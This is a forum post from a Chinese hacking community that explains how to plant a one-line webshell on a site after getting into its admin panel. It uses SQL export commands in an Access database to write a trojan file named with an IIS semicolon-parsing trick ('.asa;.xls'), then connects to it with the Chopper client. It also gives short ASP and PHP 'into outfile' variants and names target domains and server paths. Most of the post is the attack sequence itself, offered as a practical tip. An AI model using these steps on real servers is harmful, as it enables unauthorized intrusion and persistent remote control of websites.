找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2178|回复: 0
打印 上一主题 下一主题

ACCESS执行SQL命令导出一句话SHELL

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:53:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好不容易进了后台,发现啥上传啊。备份啊多木有。
( w; p$ B3 G' B- h  dwebshell一直拿不到。后来翻了一下源码。有一个执行SQL命令的
- Z" j. `1 O) j3 J$ _文件。可后台没显示这功能。直接填上文件名字,执行命令的选项出来了,# V; U. q9 M" k& C
然后就试用了下面的命令导出一句话木马。没想到成功了。命令方法如下:
# j; v7 H3 T9 B) U9 B1 Y1.create table cmd (a varchar(50))9 P9 B3 }3 G$ C* E' Y* r. M
2.insert into cmd (a) values (‘‘)
  l1 g& K. X3 l& N0 [6 Q1 \+ T: d3.select * into [a] in ‘D:\wwwroot\www.koohik.com\hacker.asa;.xls’ ‘excel 4.0;’ from cmd  a- _- O' h) k" s% A1 a0 @3 w
(把表cmd的内容导出为物理路径的一个EXCEL文件): W! I. Q# _- A: x, ^, }1 X3 Y6 t
4.drop table cmd: {. h% m+ x+ J5 R
利用IIS的BUG成功拿到了WEBSHELL。
$ d9 s+ b( e- f! A# o) F! _0 E6 k' U
1 ^) o  b, r) r# s' L直接菜刀里连接http://www.chouwazi.com/data/xiao.asp;xiao.xls一句话% j) w0 P1 t- t/ \8 L" }6 c

$ A8 P$ A. R( ~- z# c( X8 O  SQL语句意思解释:
% H" n! X- }" }* D1 `  第一句
" M. D" c# J7 M( D, B7 D0 @  建立一个有一个A字段的表 表名为cmd 字段类型为字符 长度为50
# E# \5 s8 w: y2 R9 r+ Z! k  t
% G2 w3 V0 u+ I0 V% e) }  第二句; P! \$ o: b  N& X
  在表cmd的a字段插入一句话木马' l. _1 b/ \" C# O4 y* D. b# Y/ H" k
  第三句
7 U0 k) V' ?5 s9 g* R" O8 Y9 e: Q/ T% h  把cmd表a的内容导出到路径e:\host\chouwazi.com\web\data\的EXCEL文件
* Z2 ?3 A8 y. f, A& V' D
  x4 k+ R5 u; m- j  第四句
% @- V% Y3 N" K3 |, s# q7 \. \  删除建立的cmd表8 v3 l" }# |/ b9 S5 h; H
/ ?& H2 {1 X! i, X5 E/ ]+ H
  以下内容为测试:, g3 v# g/ E. ]6 n- `* d/ ]
  Access利用后台SQL执行命令功能导出WebShell:, w- @, g. L- v3 g4 U, T
  这个更简单:
- g9 S( Y( p$ a: |) Z/ M  [ol][li]Select 'asp一句话木马' into [vote] in 'd:/chouwazi.com/x.asp;.xls' 'excel 8.0;' from vote [/li][/ol]+ u: }# o0 E, W$ O  r# K
  或者
2 x( Y5 x% ?* ^$ n6 g) y  [ol][li]Select 'php一句话木马' into outfile 'F:/wwwroot/chouwazi.com/eval.php'; [/li][/ol]
6 I) C$ C5 f, m, @% E- {! C3 r# z6 X4 L' ?
  后台有执行SQL语句功能(vote为已知表段)* x" \, I1 |: n+ s+ g. D
  希望对大家有所帮助拿shell的又一个思路
& n7 t: i$ C+ r+ s( y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表